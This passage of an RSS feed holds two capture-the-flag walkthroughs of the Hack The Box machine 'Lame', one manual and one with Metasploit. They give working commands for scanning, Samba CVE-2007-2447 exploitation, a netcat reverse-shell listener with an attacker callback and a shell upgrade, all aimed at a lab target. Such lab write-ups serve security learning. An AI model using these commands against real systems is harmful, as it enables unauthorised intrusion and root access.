below.</p><blockquote><em>ftp 10.10.10.3</em></blockquote><blockquote><em>Name: anonymous</em></blockquote><blockquote><em>Password: (just click enter)</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/0*ChA7dzxvZQy4QC65.png" /><figcaption>Successful ftp session that leads nowhere</figcaption></figure><p>Though we were able to login to the ftp session successfully, it didn’t help us. We were stuck in the directory 65534. Exit the session.</p><p><strong>SSH (Port 22) ENUMERATION:</strong></p><p>Check the ftp version ‘OpenSSH 4.7’ for exploits.</p><blockquote><em>Checking for exploits on </em><a href="https://www.exploit-db.com/"><em>exploit-db.com</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Sm1k-2rcMVIwDSmO.png" /></figure><p>No exploits found for OpenSSH 4.7</p><p>No exploits found, so once again changing the approach.</p><p><strong>SMB (Port 139/445) ENUMERATION:</strong></p><blockquote><em>Checking for exploits on </em><a href="https://www.exploit-db.com/"><em>exploit-db.com</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yuM5rOz0kPIWw6DJ.png" /><figcaption>Exploits found for samba 3.0.20 using exploit-db</figcaption></figure><blockquote><em>searchsploit samba 3.0.20</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*nzwczHUudnJv8K_6.png" /><figcaption>Exploits found for samba 3.0.20 using searchsploit</figcaption></figure><p>Exploit of choice = ‘Username’ map script Command Execution (Metasploit)</p><p><strong>EXPLOITATION:</strong></p><p><strong>Manual Exploitation (without Metasploit):</strong></p><blockquote><em>Checking for exploits on </em><a href="https://www.exploit-db.com/"><em>exploit-db.com</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rvVoJMGdc_ApYc7o.png" /><figcaption>Exploits found for samba 3.0.20 using exploit-db</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*xP2BKo1OFpI6PTCt_PB1yQ.png" /><figcaption>CVE 2007–2447</figcaption></figure><p>Let’s use this CVE to find manual exploits from Github.</p><p><em>[Note: CVE stands for Common Vulnerabilities and Exposures which is a list of vulnerabilities that have been disclosed publicly.]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*97dt6OrmG9gFwMulHOhOVQ.png" /><figcaption>CVE 2007–2447 exploit results</figcaption></figure><p>Clicking on the first link, we get a great and simple exploit that we can use.</p><blockquote>Github: amriunix/CVE-2007–2447</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Acxw59_jLu_HWmC9c8aPGw.png" /><figcaption>Github repository of the exploit</figcaption></figure><p>In order to use this exploit, we need to clone it to our system as follows. <em>(The instructions and exploit code are clearly mentioned on the </em><a href="https://github.com/amriunix/CVE-2007-2447"><em>GitHub page</em></a><em>)</em></p><blockquote><em>git clone </em><a href="https://github.com/amriunix/CVE-2007-2447.git"><em>https://github.com/amriunix/CVE-2007-2447.git</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*LcscmopgsQlgZoJ7SIp4Kw.png" /><figcaption>Exploit successfully installed</figcaption></figure><p>Have a look through the instructions under the ‘usage’ heading on the <a href="https://github.com/amriunix/CVE-2007-2447"><em>GitHub page</em></a><em>. </em>You will see that it tells you to perform the command <em>(python usermap_script.py &lt;RHOST&gt; &lt;RPORT&gt; &lt;LHOST&gt; &lt;LPORT&gt;) </em>while listening on a port through netcat (on a different terminal); This should give you a shell.</p><p>RHOST is the IP address of your victim machine (i.e., Lame: 10.10.10.3), RPORT is the victim’s smb port (139), LHOST is the IP address of the attacker (i.e., your machine IP address or tun0 which is the IP address provided through HTB’s OpenVPN), LPORT is the port on which you’re listening through netcat (i.e., a port number of your choice. I have chosen 4444).</p><blockquote><em>nc -nlvp 4444</em></blockquote><blockquote><em>python usermap_script.py 10.10.10.3 139 10.10.14.9 4444</em></blockquote><p><em>[Note: Incase you come across and error similar to “No module named smb.SMBConnection”, try running: </em>pip install pysmb<em>]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rh3DZRAvq1EtfZ7-yMvIig.png" /><figcaption>Successfuly shell using netcat</figcaption></figure><p>We have successfully created a session through netcat port 4444 and got a shell as root, which makes things really easily. Personally, when we get a shell like this (i.e., with no indicators) I like to upgrade it using the following command.</p><blockquote><em>python -c ‘import pty; pty.spawn(“/bin/sh”)’</em></blockquote><p>Usually the user.txt file can be found in a user’s directory within the home directory. Here, the home directory has 4 directories as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/0*9HyoUfitWKWnaXDO.png" /><figcaption>4 directories in the home directory</figcaption></figure><p>On checking the ‘makis’ directory, we find the ‘user.txt’ file containing the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/0*z_Kkah7igSPudNDs.png" /><figcaption>Successful user flag capture</figcaption></figure><p>Now, the next goal is to find the root.txt file. This is usually found in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/0*t9RenBvQr8YM9rpn.png" /><figcaption>Successful root flag capture</figcaption></figure><p>We have successfully completed the task!</p><p>Incase you want to learn how to exploit the machine using Metasploit, please look for my Walkthrough titled “Lame: Hack the Box Walkthrough (using Metasploit).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=521ab0904dda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lame: Hack The Box Walkthrough (using Metasploit)]]></title>
            <link>https://medium.com/@ann_17/lame-hack-the-box-walkthrough-using-metasploit-82bb36c82eab?source=rss-14b774f2d9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/82bb36c82eab</guid>
            <dc:creator><![CDATA[Annie]]></dc:creator>
            <pubDate>Mon, 06 Sep 2021 17:58:29 GMT</pubDate>
            <atom:updated>2021-09-06T17:58:29.345Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*ns8xDUMwzR4AbPrwogYmAA.png" /><figcaption>Machine Name: Lame | Machine IP: <strong>10.10.10.3</strong> | Machine Level: Easy</figcaption></figure><p><strong>BASIC ENUMERATION:</strong></p><blockquote><em>nmap -Pn -sV -sC -oA nmap/heavy 10.10.10.3</em></blockquote><p><em>Note: To find out exactly what a command means, you can use </em><a href="https://explainshell.com/"><em>explainshell.com</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*lTwpunV0EkgKdYqyDuS5GQ.png" /><figcaption>nmap scan results showing open ports and versions</figcaption></figure><p>Findings:</p><ul><li>Port Number = 21, Service = FTP, Version = vsftpd = 2.3.4</li><li>Anonymous FTP login allowed</li><li>Port Number = 22, Service = SSH, Version = OpenSSH 4.7</li><li>Port Number = 139/445, Service = Samba (smb), Version = smbd 3.0.20</li></ul><p><em>Now that we know which ports are open, let’s start enumerating them one by one.</em></p><p><strong>FTP (Port 21) ENUMERATION:</strong></p><p>Try logging into an FTP session as shown below.</p><blockquote><em>ftp 10.10.10.3</em></blockquote><blockquote><em>Name: anonymous</em></blockquote><blockquote><em>Password: </em>(just click enter)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*c9R_DxTYrqzv6ekVE3PpnA.png" /><figcaption>Successful ftp session that leads nowhere</figcaption></figure><p>Though we were able to login to the ftp session successfully, it didn’t help us. We were stuck in the directory 65534. Exit the session.</p><p>Now, check the ftp version ‘vsftpd 2.3.4.’ for exploits.</p><p><em>[Note: ‘vsftpd 2.3.4’ is known to have a famous metasploit backdoor exploit, so it is always worth looking into.]</em></p><blockquote>Checking for exploits on <a href="https://www.exploit-db.com/">exploit-db.com</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-INTxc8McE3bX4D2UlGPGQ.png" /><figcaption>Exploit Results for vsftpd 2.3.4 from exploit-db.com</figcaption></figure><blockquote><em>searchsploit vsftpd 2.3.4</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*Qo91U0ePf1h72VPSiaOdPg.png" /><figcaption>Exploit Results for vsftpd 2.3.4 using searchsploit command</figcaption></figure><p>Finding:</p><p>Backdoor Command Execution Metasploit Exploit is available.</p><p><strong>Trying the Exploit for vsftpd using Metasploit:</strong></p><blockquote><em>msfconsole</em></blockquote><blockquote><em>search vsftpd 2.3.4</em></blockquote><blockquote><em>use 0</em></blockquote><blockquote><em>show options</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*fQkjx-5ItO__yOimLYZuRg.png" /></figure><p>You need to enter the RHOST value, which is the IP address of your victim machine (i.e., Lame: 10.10.10.3). Then run the exploit using the ‘run’ or ‘exploit’ command.</p><blockquote><em>set RHOST 10.10.10.3</em></blockquote><blockquote><em>run</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*4SJFnFC1Feyqkq8IXqpNGw.png" /><figcaption>No session created on running the exploit</figcaption></figure><p>Unfortunately, no session was created on running this exploit. Let’s change our approach.</p><p><strong>SSH (Port 22) ENUMERATION:</strong></p><p>Check the ftp version ‘OpenSSH 4.7’ for exploits.</p><blockquote>Checking for exploits on <a href="https://www.exploit-db.com/">exploit-db.com</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBqAMcoC9XCB3e-kNa62XA.png" /><figcaption>No exploits found for OpenSSH 4.7</figcaption></figure><p>No exploits found, so once again changing the approach.</p><p><strong>SMB (Port 139/445) ENUMERATION:</strong></p><blockquote>Checking for exploits on <a href="https://www.exploit-db.com/">exploit-db.com</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rc-8vEDQrbp3Vh1cKQw1ew.png" /><figcaption>Exploits found for samba 3.0.20 using exploit-db</figcaption></figure><blockquote><em>searchsploit samba 3.0.20</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*WE_BVwqY4faw2I0K-fwUmA.png" /><figcaption>Exploits found for samba 3.0.20 using searchsploit</figcaption></figure><p>Exploit of choice = ‘Username’ map script Command Execution (Metasploit)</p><p><strong>EXPLOITATION:</strong></p><ol><li><strong>Automated Exploitation (using Metasploit):</strong></li></ol><blockquote><em>msfconsole</em></blockquote><blockquote><em>search samba 3.0.20</em></blockquote><blockquote><em>use 0</em></blockquote><blockquote><em>show options</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*gvgVpt_GHGsxoJD88fcDRA.png" /><figcaption>Setting options (RHOSTS and LHOST)</figcaption></figure><p>You need to enter the RHOSTS value and LHOST value. The RHOST value is the IP address of your victim machine (i.e., Lame: 10.10.10.3) and the LHOST value is the IP address of the attacker machine (i.e., your machine IP address or tun0 which is the IP address provided through HTB’s OpenVPN). Then run the exploit using the ‘run’ or ‘exploit’ command as shown below.</p><blockquote><em>run</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*bf5eqfgOEzl1R6AyXGejyg.png" /><figcaption>Successfully opened a session</figcaption></figure><p>We have successfully created a session and got a shell as root, which makes things really easily. Personally, when we get a shell like this (i.e., with no indicators) I like to upgrade it using the following command.</p><blockquote><em>python -c ‘import pty; pty.spawn(“/bin/sh”)’</em></blockquote><p>Usually the user.txt file can be found in a user’s directory within the home directory. Here, the home directory has 4 directories as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*_h04weV02kmJGYFI66vnqA.png" /><figcaption>4 directories in the home directory</figcaption></figure><p>On checking the ‘makis’ directory, we find the ‘user.txt’ file containing the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*bjjoJqnAmpE3Uk4nIvtjOg.png" /><figcaption>Successful user flag capture</figcaption></figure><p>Now, the next goal is to find the root.txt file. This is usually found in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*Ad9OxSFvV74BZyE84Nz_VA.png" /><figcaption>Successful root flag capture</figcaption></figure><p>We have successfully completed the task. Incase you want to learn how to manually exploit the machine, please look for my Walkthrough titled “Lame: Hack the Box Walkthrough (without Metasploit).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82bb36c82eab" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>